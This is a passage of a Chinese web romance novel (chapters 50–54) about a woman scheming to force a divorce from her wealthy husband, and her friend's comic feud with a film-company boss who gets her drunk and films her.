若不是有老师的古坊斋在这儿挂着,凌澈怕是都会觉得他自己上当了。
钟宏今天学校有课,下午没来,江莹静心修复宋代妆奁,一直到黄昏,凌澈叫她,才意识到天色不早。
跟凌澈道别后,直接去疗养院陪母亲。
一路上盘算那个孩子该怎么用,才能让陆砚深同意去民政局。
到了母亲病房,想给梁玥发消息问她什么时候回来,才注意到她下午发来消息。
梁玥:宝儿,冤家路窄照见现实你体验过吗?
江莹疑惑,这人不是出差了吗,怎么还能碰到冤家。
江莹:哪个冤家让你这么上头?
消息发出去很久都没有回复。
江莹担心她遇到事,电话打了过去响了一阵终于接通。
“宝儿,正在吃饭,晚会儿跟你说。”
江莹听到她的声音,知道没事就放心了。
而,此时的梁玥坐在餐厅包间跟剧组一起吃饭,看着推门进来的男人,整个人状态瞬间不好。
第50章 嘴巴擦过他大腿
沈斯阳第一次来片场,其实是为了来追姑娘。
这次他们这部剧的女主是短国一姐,身材、脸蛋哪儿哪儿都是他的菜,所以听说开机就跟了过来。
梁玥在开机现场看到他给女主送花就躲了,没想到吃饭还能碰到他。
真是说曹操,曹操到。
男女主坐在一起,安排座位的人显然是知道沈斯阳要来,所以特意给他留了女主身边的位置。
他左手边是女主,右边是身为编剧的梁玥。
梁玥看到人进来,瞬间低了头,这特么何止是冤家路窄,这简直就是屠宰场。
至于宰杀谁可想而知。
这狗东西今晚若是说点什么,她怕是在这个圈里就混到头儿了。
沈斯阳视线在女演员孟然身上,根本就没有注意到自己身边的人。
“孟小姐,晚上好!”
孟然没想到自己会得到这位大佬的青睐,一开始不认识,还婉拒了他的邀约。
现在得知他的身份,笑容一半娇羞一半客气。
“沈总好!”
不光这部剧是他投的,而千寻影视也是他的产业。多亏了导演提醒,要不然她今天怕是要得罪了圈里大佬。
“那个给大家介绍一下,我们这部剧是千寻影视独资大家都知道,但大家一定没有见过我们千寻的大老板。”导演说着看向沈斯阳,笑眯眯道:“哎,今晚我们就很荣幸,因为我们千寻的老板沈斯阳先生,特意赶来给大家加油打气。”
低头喝水的梁玥,听到沈斯阳是自己老板,“噗”一声,嘴里的水全喷了出来,紧接着就是一阵咳。
“咳咳咳……”
“看看给我们编剧激动的,第一次见到自家老板,还坐自己身边,激动坏了。”
梁玥心里暗骂,我激动个锤子,早知道这狗东西要来,这饭也不是非吃不可。
但她是真的不知道沈斯阳就是他们公司的幕后老板。
沈斯阳原本没有注意到,但身边女人因为自己的到来这么激动,难免有些成就感。
他抽了两张纸递给梁玥,“没事吧?都是同事,不至于这么激动。”
沈斯阳说完,转脸又跟孟然聊天,完全没有看梁玥。
梁玥耷拉着脑袋接过他手里的纸,刚想要起身离开,导演叫住她。
“小梁,今天你也是我们的功臣,没有你写出这么优秀的本子,我们大家也不能齐聚一堂。某种意义上来说,是你把沈总带到了这里。”
梁玥不想开口,狗东西这会儿心思在孟然身上,没有注意到她,但总不能一直不说话吧。
她这会儿如坐针毡,真为难该怎么开口,要不要来个夹子音?
沈斯阳怕导演太客气整得气氛太严肃,孟然更不好意思跟他说话。
于是开口,“老赵,都是自家人,就不客气了,大家今晚尽兴。”
梁玥暗暗松了口气,努了努嘴角,说得冠冕堂皇,其实就是怕耽误他泡妞。
从坐下来半个身子都往左倾斜,就差把我只对孟然感兴趣写在脸上。
当然,梁玥也倾斜着身子,甚至还俏咪咪挪了挪凳子,跟沈斯阳两人之间隔了半米远。
旁边的男二号,是个刚毕业的大学生,被她挤到小声提醒,“姐姐,你能稍微挪一点吗?”
梁玥这才意识到自己的胳膊跟人家打架。
“不好意思!”
梁玥尴尬地往左挪,却忘了手机放在腿上。
下一秒,她弯腰去捡手机,才发现她的手机很没出息地躺在资本大佬的脚边。
她提着一口气儿探手去捡,心想还好他心思都在女人身上,没有注意到。
哪曾想,手机刚拿起来,“咚”一下又掉了下去,刚好砸到沈斯阳脚踝。
沈斯阳动了动脚,转身低头看了过来。
梁玥意识到他正盯着自己,生无可恋地闭上了眼。
“很难捡?”
头顶男人的声音,让她心里一紧:靠,该来的还是来了。
“没有,已经拿到了。”
梁玥转头看向他,沈斯阳瞬间瞪大了眼,还真是冤家路窄。
上次给他来个断子绝孙还没有找机会报复回去,今天竟然在这儿碰上她。
沈斯阳咬着唇,刚想开口,梁玥朝他做了个嘘声的动作。
然后小声道:“沈总,今天晚上我们井水不犯河水,你追你的妞儿,我吃我的饭。再说了,你一个大老板跟自己的员工斤斤计较不合适。”
沈斯阳磨了磨后槽牙,还真是什么话都让她说了。
他挑眉,身子往后靠在椅背上,双腿交叠,睨了一眼从桌子底下钻出来的女生。
“老赵,你刚才有句话说对了,今天我们这里最大的功臣就是我们这部剧的创作者,梁编剧。”
沈斯阳挑眉看向梁玥,嘴角噙着笑,看得梁玥嘴角直突突,这狗东西肯定没有憋着好。
“多谢沈总夸奖,都是为了工作。”
“我提议啊,我们在坐的都敬我们编剧一杯,是她创作的故事,给了我们工作和挣钱的机会,说是我们的衣食父母都不为过。”
就知道他没憋好,果然,这是要灌她酒。
本来她就是一个小编剧,来凑个热闹吃个饭,在资本大佬和流量演员面前就是个小喽喽,被沈斯阳这么往上一架,谁敢不敬?
这波儿捧杀操作,那叫一个溜儿。
导演愣了一瞬,这大佬跟孟然聊得好好的,怎么突然这么捧一个编剧?
但他都这么说了,不敬酒是不给他面子,于是导演第一个开始,端着酒杯笑道:“沈总说得对,这部剧的灵魂和骨架是编剧给的,没有她,就没有我们今天一起为之奋斗的事业,我敬小梁一个。”
梁玥被抬了起来,只能硬着头皮喝酒,“导演您客气。”
沈斯阳抿唇笑道:“我觉得老赵说得很对,一部剧怎么能少了灵魂。”
“沈总过誉了。”
梁玥嘴角噙着笑,看了眼沈斯阳,表面看着客气,就是感觉有点假。
一杯酒下肚她给江莹发消息:宝儿,你一定没有体验过我现在的经历,就是每说一个字,都感觉像吃了一只苍蝇。
江莹:看来这个冤家确实让你上头。
梁玥:现在是仇家,你干嘛呢?
江莹:研究绑架方案。
梁玥:绑架?绑谁?
她刚发完消息,制片人开始给她敬酒,然后是摄影师。
三杯酒下肚,梁玥脸上已经开始泛红。
她垂眸吃了口菜,来压胃里火辣辣的感觉。
看了眼手机,江莹没有回话,她这会儿也没有精力问。
沈斯阳饶有兴致地看着她,甚至没有注意到孟然给他夹了菜。
“沈总,不喜欢吃鱼?”
沈斯阳回神,笑道:“没有,我最爱吃鱼,孟小姐很细心,这么快就发现我爱吃鱼。”
梁玥听得一阵翻江倒海。
只是她还没有吃两口菜缓缓,又有同事给她敬酒。
一桌九个人,除了她自己八个人都跟她喝酒,当然沈斯阳也没有放过这个整她的机会。
导演是个人精,看沈斯阳一开始跟孟然聊得火热,后面慢慢视线都在梁玥身上,而梁玥却看都不看沈斯阳一眼,这两人隐隐透着不对劲儿。
看看梁玥,又觉得不太可能,这位爷历任女朋友都是双绝,脸蛋和身材都堪称顶级。
梁玥,长得还行,就是身材不够有料。
但,沈斯阳确实很关注她,这一点又是事实。
临走,看梁玥已经醉了,导演试探性问:“沈总,小梁怎么办?她一个女孩子,我们一群大老爷们儿不太方便。”
“给她开间房,安排服务员送上去。”
他刚要走,被梁玥抓住胳膊,“狗东西,心胸狭窄,上次对我用强,今天又灌我酒,真当姑奶奶好欺负?”
导演一听,眼睛瞬间瞪大。
就连站在沈斯阳一旁的孟然也惊得往旁边迈了一步,然后紧张道:“沈总,时间不早了我就先回去了。”
沈斯阳咬牙,女人还没追到手,就被这死丫头给搅合黄了。
他气不到一处来,领着梁玥的后衣领就走。
第51章 胸肌和腹肌好棒
江莹一晚上,都在盘算怎么才能让陆砚深妥协。
似乎只有绑架那孩子一条路可行。
思来想去,老太太生日那天下手最合适。
第二天一早,她吃过早餐就去了古坊斋。
妆奁的修复工作只剩一角,今天就能完工。
因为昨晚给梁玥打电话,她没有回,有点担心,算着也该起床再次给她打电话。
电话响了好久,总算接通。
“喂!”
“玥玥!”
一听对方是男人声音,江莹瞬间一个激灵。
“你是谁?”
显然对方已经意识到有问题,直接挂了电话。
出个差,昨晚说遇到了冤家,怎么一大早她手机里传出来的是男人声音。
此刻,影视城酒店。
梁玥揉着眼睛,依稀听到手机响。
沈斯阳听到电话里叫玥玥,大脑宕机了一瞬。
再回神,脑子才渐渐清晰。
转头看到身边的女人,他咬牙笑了起来。
梁玥醒来,睁眼沈斯阳那张含着笑的脸就撞入视线,吓得她瞳孔骤然紧缩。
这是什么情况,没有做梦吧,怎么会看到那个狗男人的脸。
她怀疑自己看错了,抬手又揉了揉眼。再睁眼,男人的脸不但没有消失,反而还放大了。
梁玥自我保护意识瞬间被激起,她手脚并用,直接把人踹下了床。
“沈斯阳,你特么要不要脸,你怎么在我床上?”
沈斯阳没有防备,原本是想逗逗她,没想到这虎丫头直接将他踹了下去。
“你有病吧,是不是喝断片了?”
梁玥眨眨眼,看着室内的装饰皱眉,这里确实不是她的房间。
她掀开被子看看自己,身上的衣服还好,是昨天穿的那一身。
“你该不会以为我会对你下手吧,还真看得起你自己。”
昨晚若不是看在江莹的面子上,他直接给她扔大街上去。
就没有见过一个女的喝醉酒那么能闹腾的,一会儿哭,一会笑。
想到昨晚,沈斯阳坐在地上,单手支在床边托着下巴,挑眉问:“你真没有谈过恋爱?”
梁玥还没有从他那句极具轻蔑的话里缓过来,就听他这么问,瞬间咬牙,“管你什么事?”
说完暗暗恨自己死嘴,喝点酒就乱说话。
沈斯阳难得从她脸上看到害羞,饶有兴致地打量着她,“这么大年纪了,还是个……啧啧,是挺丢脸。”
梁玥抬腿,一脚踹在他胳膊上,头没有了支撑,下巴直接磕在床上。
“我去,你是不是觉得我真打不过你?”
他说着起身,贱笑道:“我确实打不过你,但我手里有你想不到的东西,我劝你对我态度好点,要不然……”
“要不然,姑奶奶一拳打爆你的头。”
“别那么激动,先看看再说话。”
沈斯阳站在她腿脚够不着的地方,点开手机,屏幕正对着梁玥。
“哥哥,别走,我们继续喝。”
“呜呜呜,我都二十五岁了,还没有谈过恋爱,连男人的手都没有牵过。”
“嘻嘻,你胸肌和腹肌好棒啊,手感很不错。”
梁玥看着视频自己抱着沈斯阳上下不停地抹,瞬间囧得不行。
这狗东西怎么能趁人喝醉拍视频?
“沈斯阳,你给我删了,要不然我真揍你。”
沈斯阳收了手机,笑眯眯道:“你打我一下,我就往公司群里发一条,我不光有视频,还有照片。只有你想不到的,没有我没拍到的。”
梁玥:……
沈斯阳看她瞬间安静,只是那双眼睛死死盯着自己,抬了抬下巴,“我饿了,想吃他们说的那家蟹肉包,你去给我买。”
“我不是你的丫鬟。”
“你喝醉的样子,大家应该都喜欢看。”
“沈总,蟹肉包马上到。”
梁玥很没骨气地起身,拢了拢头发,拿起外套就往外走,边走边骂。
出了酒店给江莹回电话,“宝儿,你刚才给我打电话了?”
“怎么回事,为什么是个男人接的电话?”
江莹对梁玥很了解,大黄丫头的脑子,但也就敢嘴嗨。
“哦,我手机落在前台了,你吃饭了吗?”
江莹并不怀疑,笑道:“这都几点了,谁像你一样,昼夜颠倒?”
“没有,昨天不是开机了吗,晚上主创团队吃饭,睡得有点晚。”
“你什么时候回来?”
“今天下午,晚上可以一起吃饭。”
“行,我这边的修复工作也完成了,就当庆贺一下。”
“对了,你昨晚说绑架什么意思?”
江莹不想让她着急担心,故作轻松道:“晚上见面说,需要女侠支援。”
“好嘞,等着我。”
梁玥说完挂了电话,然后深深吸了口气,若是让她姐们儿知道她跟沈斯阳不清不楚该有多伤心。
沈斯阳可是站在陆砚深那边的,千万不能让江莹知道,她可没有叛变。
陆氏集团。
陆砚深正批阅资料,杜宇敲门进来。
男人抬头看他一眼,眸色清冷。
杜宇蹙眉,自己干什么了,大佬怎么见到他这副表情?
不管怎样,今天得小心为妙。
“陆总,这是年度报表,您过目。”
陆砚深放下手里的资料,身体靠在座椅上,目光沉沉落在他身上,带着冬日清晨特有的温度。
杜宇瞬间感觉自己后背发凉,跟在陆砚深身边多年,他了解这目光意味着什么。
但自己什么都没干呐,昨天下午去谈项目,一直到很晚。
到底是什么时候惹了这位大佬?
杜宇放下东西,头皮发麻,抬眸看了眼陆砚深,忐忑道:“陆总,是不是我工作出了纰漏?”
陆砚深对他的工作要求很严格,也正是他的严格,这几年杜宇才能成长这么快。在他同学中,他是能力最强,爬得最高的。
“你昨天都干什么了?”
杜宇拧眉,努力回想自己昨天都做了什么,思来想去自己也没做错什么,大老板怎么这么问?
“陆总,我昨天没干什么呀,就是按照之前跟您商量好的去跟汇通谈合作。”
陆砚深盯着他,声音冷厉,“谁让你通知张启明去民政局的?”
杜宇听他这么说,悬着的心算是落了回去,“我是想着,张总是太太的父亲,他一定是不希望太太那么做的。李律师出马,让太太知道您其实已经给江氏机会,而张总再去劝劝太太,这样双管齐下,太太不就知道您的心思了。”
陆砚深瞪了他一眼坐正,“我什么心思?”
杜宇眼珠子转转,看他家陆总这架势,他能说实话吗?
“你是觉得我不想跟她离婚?”
杜宇皱眉,心说还不够明显吗?绕那么大一圈,不就是为了给太太台阶下,就是手段太过刚硬。
但,陆砚深阴沉的脸色,让杜宇选择了沉默。
“我是给她台阶。”
杜宇心说,早晚吃这张嘴的亏。
他掀掀眼皮,看向陆砚深,“太太下了吗?”
陆砚深拿起桌子上的笔,砸向他,“以后少自作主张,注意张启明,补充协议里的内容,让他按时执行。”
杜宇点头,虽然不知道问题出在哪儿,但看老板这态度,显然是对自己岳父并不信任。
至于为什么要让他每月准时给太太转三百万,他就更想不明白了。
……
下午,四点半,江莹收到梁玥发来的消息。
先是一张她从机场出来的照片,后面是一条语音。
【宝儿,我回来了,等我把行李送回家就去找你。】
江莹回了个“好”字,视线落在梁玥发过来的照片上,看得入神,但不是在看梁玥,而是她左侧的一家三口。
男人抱着一个男孩子亲,旁边的女人一脸不舍地望着自己身边的男人。
看着男人的背影,江莹觉得眼熟,一时间想不起来。
第52章 两个丈母娘不偏不倚
晚饭,江莹跟梁玥选了一家法餐厅。
两人一到地方,梁玥就开始问,“说说要绑谁,我该准备点什么?”
江莹轻笑,“你就不怕我让你犯法?”
“怕什么,你是主谋我是从犯,牢里咱俩还能作伴。”
江莹鼻子有些酸,这些多年她身边真心待的人不多,梁玥是给予她最大信任和支持的人。
“整天大大咧咧,哪天我把你卖了,你帮我把钱数好。”
梁玥点头,“没问题,记得卖多点,到时候我逃回来,咱俩一人一半。”
江莹笑了,深吸一口气,抿唇道:“昨天我跟陆砚深约好的去民政局,结果他没去,派了公司的法务过去。”
“什么意思,这些年你又没用他什么钱,怎么还动用法务了?”
“张启明刚跟他签了合同……”
江莹把陆砚深给她挖坑的事说了一遍,梁玥难得没有暴躁,而是沉默了。
良久,她开口,“宝儿,陆砚深这是摆明了不想离婚,你确定他对你没意思?”
江莹垂眸,“其实,提离婚后他一直不签字,我也这么想过,他或许对我有好感。但经历这么多,我已经不再想这些,他说过不会不管秦欣,更何况他们之间还有个孩子。”
“孩子?”梁玥瞬间就暴躁了,眼睛瞪得乌溜溜圆,“这对狗男女竟然有孩子?”
江莹扯了扯她的衣袖,示意她小声。
“不是,你什么时候知道的,为什么现在才跟我说?”
“这个不重要了,重要的是,这次我要绑架的就是他们的孩子。”
“你要逼陆砚深跟你离婚?”
江莹点头,“拖着挺没意思的,他们家和我们家的人,我都不想再应付。”
更何况,她还要找律师让母亲跟张启明离婚。
若是顶着陆砚深太太的头衔去做,陆家必定会觉得她大逆不道,横加干预。
但江莹没有说张启明拿着照片威胁她的事,实在是说不出口。
“我支持你,一个白月光已经让人头疼,现在还有个私生子,够糟心的。”梁玥握住江莹的手,心疼自己姐妹一腔真心喂了狗,“钱咱们自己能挣,男人就是点缀,喜欢就在一起,过得压抑不如不找。”
梁玥家不是什么大富之家,但她父母都是老师,就她一个孩子,也算是在宠爱中长大。
“所以女侠,我能不能摆脱渣男,就看你的了。”
梁玥挑眉,“没问题,什么时候下手,怎么做,我们计划一下。”
“没什么难度,孩子她妈会配合。”
“卧槽,真的假的?”
梁玥没想到江莹竟然把秦欣也搞定了,但她似乎没有不同意的道理,怕是巴不得江莹赶紧离婚。
“后天是陆砚深奶奶寿宴,秦欣会去给老太太过寿,细节我跟她核对好告诉你。”
梁玥兴致勃勃,“正室和外室联手,这应该是我见过最牛逼的离婚过程。果然艺术都来源于生活,从你这里我得到不少素材。”
上菜后,两人低头吃饭,江莹听到一个熟悉的声音。
“妈妈,舅妈在那里呢。”
是陆砚深的外甥女,许诺诺。
江莹抬头,顺着声音看过去,陆君和丈夫许振清带着他们的女儿刚好落座。
看到陆君,江莹心情瞬间不美。
但她对许振清印象还不错,不管陆君对她怎样,许振清都客客气气,有时候还会帮着劝两句。
他跟陆君是同学,从大学到婚纱,两人感情向来稳定。
加上许家条件一般,他对陆君向来是言听计从,在外人看来特别宠爱自己的妻子。
江莹扫了一眼陆君,对许振清微微点头,“姐夫什么时候回来的?”
梁玥低头,心想斜对桌,这说话得小心点了。
“今天下午刚到。”
陆君睨了她一眼,“莹莹,听王嫂说砚深这几天胃不舒服,你多注意点。他现在还在加班,你别光顾着自己。”
这话什么意思,江莹明白。就是她来吃法餐,让她弟弟一个人辛苦,大姑姐心里不舒服了。
江莹笑笑,转头吃饭,只是吃得更香了。
陆君看她不说话,扭头开始大口吃饭,心里不爽,刚要说什么被许振清拉住。
“我们好久没带孩子来,开开心心吃顿饭。”
陆君给他一个眼神,“就你向着她。”
“家和万事兴,我是向着你。”许振清低声轻哄,“砚深已经不小了,他们之间的事,你不要插手太多,好好过我们的日子多好。”
“你是不是又要说让我去陪你,我告诉你,不可能。你要想我们,就尽快调回来,又不是不让你回来,真不知道为什么非要守着那个小公司。”
许振清抿唇笑笑,“好了好了,不说这个,一会儿诺诺又要说爸爸只跟妈妈亲了。”
他说着捏了捏女儿的小脸,慈爱温柔。
但这一幕落到江莹眼里,莫名觉得特别眼熟。
视线在许振清身上停留几秒,她恍然大悟般拿出手机,找到梁玥给她发的照片。
怪不得,看到照片会觉得熟悉,原来照片里那个男人是许振清!
这个发现让江莹震惊,没想到连许振清这样的男人都会出轨。
他们那么美好的感情,竟然也经不住时间的磋磨。
“宝儿,吃饭,看什么那么入迷。”
江莹吸了一口气,将手机放入包中,“没什么,吃饭。”
她一时间心里有点乱,不知道该说什么,按说她不喜欢陆君,但许振清的背叛并没有让江莹觉得爽。
或许是同样身为女人,处境相似。
又或许是她没有想到许振清那么温柔宠妻的男人,也会出轨。
江莹这几天一直住在疗养院,江岚已经可以下床。
看她回来,刘姐接过她的外套,纠结道:“今天有人送来好多营养品,说是陆总安排的。”
江莹看着茶几上堆放的东西,心里莫名一紧,心想这人还算有点良心。
这时,周梅来拄着拐杖来敲门。
刘姐开门看到她,愣了一瞬后叫江莹。
江莹回头看到她,脸色不好。
周梅颤巍巍走进来,“江小姐,不好意思打扰了,砚深今天让人送了不少东西过来,我就想着拿给你妈一些。毕竟是我伤了她,这几天我心里一直过意不去,想看看你妈。”
江莹看了眼周梅手里的东西,跟茶几上放的东西几乎一样,就是少了两样而已。
“孩子,真的对不住,砚深给我说了,你们结婚是迫不得已,这事不能怪你。欣欣和轩轩一直是我的一块儿心病,砚深一直说他会照顾他们一辈子,所以我就……”
江莹弯唇,陆砚深还真是个好女婿,两个丈母娘不偏不倚。
“对不起了,我看到你跟他已经结婚的消息,一时就没有控制住自己的情绪,多谢你不跟我计较。”
“不好意思,我并不大度,我也没有原谅你,还请你离开。”
江莹跟她没什么好说,周梅的态度让她看不透。
“刘姐,送客。”
看江莹态度坚决,周梅扔了拐杖就要往下跪,被刘姐拦住,“这位太太,你这是要干什么?”
“江小姐,我求求你,你把砚深还给欣欣吧,轩轩还小他不能没有爸爸。欣欣这些年一个人边上学边照顾孩子,没有一句怨言,但我知道她心里苦。她爱砚深,砚深心里也有她,你就行行好成全他们吧。”
第53章 鼻尖都是她的味道
江莹这会儿气得手颤,她做什么了,怎么感觉是她抢了人家老公呢?
一个正室被人追着喊着要求让位,就没有她这么憋屈的。
气的她拿起手机给陆砚深打电话。
这个时候,陆砚深刚下班回到梧桐里,坐在沙发上抱着江莹最喜欢的长耳兔玩偶。
胃痛让他挺拔的脊背微微拱起,独自坐在空旷的客厅里,苍凉又可怜。
手机响起,看到是江莹打来的,他缓缓坐直身体接通电话。
“陆砚深,我的耐性也是有限的,赶紧把你丈母娘弄走,否则我叫保安了,到时候她若是觉得没面子,再寻死觅活可不管我的事。”
陆砚深深吸一口气,刚准备开口,江莹直接挂了电话。
他疲惫地起身拿了衣服,边走边打电话。
到时,周梅已经被护士扶走,江莹正坐在客厅画图。
看到浑身充满凉意的人,江莹没什么好脸色,“你丈母娘已经回去了,麻烦以后管好你的人,再来我妈这里闹,别怪我不客气。”
陆砚深紧绷的神经在看她的那一刻松懈下来,他抬步走了进去。
三年了,他第一次来这里,站在这间病房里。
江莹看着他心里一片荒凉。
曾经她很希望陆砚深能陪她来看看母亲,在她因为母亲迟迟不能清醒伤心难过,没有方向时,尤其想他能够成为自己的依靠。
然而,陆砚深对她们家的事从不关心,甚至有些厌恶。
没想到要离婚了,他却因为周梅两次出现在这里。
“赶紧走,这里不欢迎你。”
“江莹,我很不舒服,让我缓一会儿。”
他在江莹身边坐下,脸色苍白。
从他一进门,江莹就看出他不舒服,三年的贴身照顾,江莹了解他每一个表情。
眉头紧蹙带着隐忍,是他胃不舒服时常有的神色。
“不舒服找医生,我没有那么博爱照顾病人,更没有兴趣管前夫哥。”
江莹合上电脑,图纸是她之前准备的逍遥楼复原图,她想精修一遍发给老师。
陆砚深并没有生气,江莹身上淡淡的清香是他熟悉的味道。
很好闻,让人轻易就能放松下来。
“我就坐会儿,马上就走。”
周梅刚来过,江莹有情绪很正常,他不想这个时候再刺激她。
江莹扫了他一眼,往里间走。
这两天,她一直睡在客厅的沙发上,刘姐担心她白天工作,晚上守夜太辛苦,坚持晚上不让她操心。
所以陆砚深一坐下来,鼻尖萦绕的都是江莹身上淡淡的味道。
他想缓一下就走,没曾想竟然靠在沙发上睡着了。
江莹再出来,看到狗男人倚在沙发上睡着,清瘦俊朗的五官依旧是她曾经最爱的样子。经过岁月的打磨沉淀,整个人看起来更加成熟稳重。
男人微蹙的眉心,让江莹心里隐隐泛酸。
这么大人了,胃不舒服不知道吃药,傻愣愣地硬扛。
让她不由得想起第一次看到他缩在沙发上的样子,跟这会儿很像。
也是从那以后,江莹每次都会备好胃药,看他不舒服会想办法哄着他吃药。
恍神一瞬,猛然意识到自己又在犯贱,她咬了咬唇,心疼男人倒霉一辈子。
更何况是一个没有边界感,出轨有私生子的狗男人。
江莹抬脚,踢在他脚上,陆砚深一个激灵,清醒过来。
“要睡觉陆总找错地方了,我这里不是酒店。”
他看着眼前带刺的女人,深吸一口气,虽然心里不舒服,但碍于江岚的伤还未痊愈,陆砚深好说话地起身。
“后天是奶奶生日,到时候我过来接你。”
“我们都要离婚了,我去合适吗?”
“江莹,爷爷明天下午要出院,强撑着身体想要给奶奶过个生日,你能不能懂点事。”陆砚深声音有些沉,明显透着疲惫,“而且,你爸也会去,你觉得……”
陆爷爷的治疗方案已经定好,等老太太过完生日就得正式住院接受手术。老爷子年纪大,手术风险极高,所以这次给老太太过生日,老爷子格外看重。
提到陆爷爷,江莹强硬的态度有所缓和,“到时候,我回梧桐里换衣服。”
这意思是让他去梧桐里接她。
看她答应,陆砚深抬手想要摸她的头,江莹直接让了道下逐客令,“赶紧走,我们要休息了。”
陆砚深半垂着的手僵住,看她刻意跟自己划清距离,抬步走人。
……
隔天,江莹跟凌澈定好新春灯笼和摆件的图纸后,已经中午。
确认梁玥租好车,她去吃了午饭,然后回梧桐里换衣服。
毕竟是老太太的寿宴,不能穿得太随意。
开门看到门口的鞋,一阵诧异。
“江墨?”
喊出口,又觉得不对劲儿,江墨向来穿运动鞋,这双皮鞋显然不是他的。
没看到人,江莹往里走,听到书房有声音传来。
“我知道了,既然新线投产势在必行,你尽快安排。”
江莹看到陆砚深在自家书房办公,愣了一瞬,这狗东西怎么在这儿?
陆砚深抬头看她,“见鬼了,这副表情?”
“你为什么在我家?”
“你非要住在这儿,我住这里有问题?”
江莹被气笑了,“陆砚深,到现在不还觉得我是跟你闹脾气吗?我们要离婚了,你追着住在我家里,什么意思?”
陆砚深不跟你纠缠这个话题,拿起手机打电话,嗓音淡淡,“让人过来。”
说完他从书桌后站起身,“今天乖一点,别闹脾气,这几天已经够给你面子。”
江莹咬牙,刚想骂人,门铃响起。
狗男人睨了她一眼,从她身边走过去开门。
江莹转身,站在楼梯口。
门开,两名年轻的女子跟着杜宇站在门口,每人手里都提着东西。
“进来。”
陆砚深嗓音淡淡,说话间已经在客厅坐下,双腿交叠,优雅清贵。
“太太,这是陆总给您准备的礼物,这两位是造型师。”
江莹站在楼梯口,不得已弯唇笑笑,“辛苦两位。”
从小江岚对她的要求也很高,不说是名媛贵女,但礼仪课也少上。
所以骨子里的教养,让她不会对外人甩脸子。
她看了眼端坐在沙发上的男人,没好气地瞪了他一眼,带着造型师去了卧室。
半小时后,江莹做好造型,换上礼服出来。
陆砚深视线在她身上停留,杜宇识趣地带着人离开。
江莹被他看得有些不太适应,冷声问:“地点定在哪儿?”
陆砚深收回视线,起身走到她跟前。
下一秒,大手扣住她的手腕,将人拽向自己。
第54章 屋里的老熟人跟江莹有关
突如其来的力道让江莹踉跄,身体不稳直接撞上他结实的胸膛。
两人身体紧密结合,陆砚深能感受到怀里柔软的曲线。双手不由下移来到她腰间,盈盈一握的腰肢,是他最喜欢的触感。
江莹被他突然触碰,身体凛然一紧,抬头望着他。
四目相接,江莹身体紧绷,温热的气息在两人咫尺的距离间弥漫,呼吸交织在一起,所有感官被紧贴着自己的男人侵占,带着极其强烈的存在感。
男人清冷的眉眼,撞上女人略显慌乱的眸光时,渐渐变得有温度。
对视几秒后,江莹反应过来,刚想推拒,清冷矜贵的某人,嘴巴却像是淬了毒,“这么看着我,想亲我?”
江莹气的嘴角直抽抽,狗男人不配长嘴。
她挣扎着抬手捶打他,开口骂人,“陆砚深,天下那么多哑巴,老天爷怎么不开眼让你长了一张嘴,自恋又自大的狗东西。”
陆砚深扣住她的手腕,放在她腰间的大手用力将人按在他怀里,勾唇道:“你有前科,我这么想不是很正常。”
一句话噎得江莹说不出话。
她确实有前科。
刚结婚那会儿,她被这狗东西迷得不行,总想找机会跟他贴贴。
就像现在这种情况发生过好几次,每次她湿漉漉的大眼睛盯着他看,陆砚深都会不耐烦地推她,她却抱着他的脖子主动送吻。
男人一开始拒绝,却每次都化被动为主动,最后把她欺负个彻底。
想到以前的事,江莹耳尖发红,自己当初怎么就被他迷得五迷三道的,那么主动,人生耻辱。
她正出神,感觉手上一凉。
“陆太太,你想什么呢,耳朵都红了。”狗男人噙着笑,眸光灼灼,一只手还捏着她的下巴。
江莹抬脚踩在他脚上,趁他吃痛一把将人推开。
看到自己无名指上璀璨的戒指,心口一紧。
是她丢在湖心公馆的婚戒。
曾经她视若珍宝,现在看着却有些讽刺。
结婚的时候陆砚深没有准备,这个是一周年结婚纪念日在她明里暗里的提醒下陆砚深后补的。
可以说是她自己要来的。
这时候给她戴上,什么目的不言而喻。
他们结婚的事,网上已经传开,今天她正式作为陆砚深妻子的身份出席老太太的寿宴,怎么能没有婚戒。
既然是陆砚深的妻子,当然要配得上他的身份。这么费心让她捯饬,就是要让她不丢陆家的脸面。
“今晚乖一点,别给我惹麻烦。”
狗男人缓过劲儿,睨了她一眼,拿起沙发上的外套往外走。
看江莹不动,走了两步又转身回来牵住她的手。
一上车,江莹就给秦欣发消息。
秦欣这会儿,难得有耐心地陪轩轩玩儿。
看到江莹的消息,直接回了个地址过去。
江莹看到消息暗暗皱眉,这个女人为了自己能上位还真狠,竟然大晚上把孩子丢在游乐园门口。
她把时间和地址发给梁玥。
梁玥回了个“OK”的手势。
安排好一切,她瞅了眼自己身边的眯着眼男人。
狗东西天天晚上偷狗去了,一上车就精神不济。
陆砚深似乎感受到她的目光,懒懒开口,“刚刚没看够,上来又盯着我看。”
江莹咬唇,“陆砚深,你的脸皮与日俱增。”
陆砚深轻嗤,“我是自信,某人曾经抱着我的脸说,一辈子都看不够。”
江莹:……
所有的黑历史,都要被狗男人拿出来堵她的嘴了。
两人到达温泉山庄时,陆君和许振清已经在门口开始招呼客人。
看到陆砚深牵着江莹过来,嗔怪道:“今天是奶奶大寿,她最疼你,你却来得最晚。”
陆砚深勾唇,跟许振清打招呼,“姐夫。”
“你姐就喜欢念叨你,赶紧进去,我们在这儿招呼,里面的人大多是冲你来的。”
陆砚深怎么可能不知道,之所以来得较晚,就是想能避开就避开一些不必要的应酬。
“莹莹跟我一起迎宾,砚深进去就行。”
陆砚深握着江莹的手没松,淡声道:“她跟我进去。”
陆君微愣,许振清拍拍她的手,“让莹莹跟着砚深,毕竟现在大家都知道她是砚深的妻子。”
终于不用跟在陆君身边听她埋汰自己,江莹挑眉看了她一眼,嘴角勾着笑。
陆君看出江莹的笑意,睨了一眼,叮嘱道:“别给砚深丢脸。”
“大姐,我们夫妻一体,砚深自然会护着我,你放心吧。”
她说完不等陆君开口,拽着陆砚深就往里走,“快走啊,冻死了。”
陆君:……
陆砚深没有吭声,步子迈大跟上去,握紧她的手。
陆君看着两人离开的背影,突然有种老母亲的心酸,甚至有些理解为什么那么婆婆和儿媳不和。
弟弟以前对自己多好,从来没有人赶在她面前给她脸子,现在有了媳妇忘了姐,一再纵容江莹在她面前放肆。
前面的两个人,没有注意到身后幽怨的眼神,两人一到正厅,就吸引了所有人的视线。
往年江莹都是跟在陆君身边,所以认识她的都是较为亲近的,第一次以陆砚深妻子的身份站在众目睽睽之下,她不由得紧张。
陆砚深握着她的手,感受到她微凉的手指,直接脱了外套披在她身上。
江莹转头看向他,陆砚深再次握住她的手压着声音道:“我不想再照顾病号,挨耳光。”
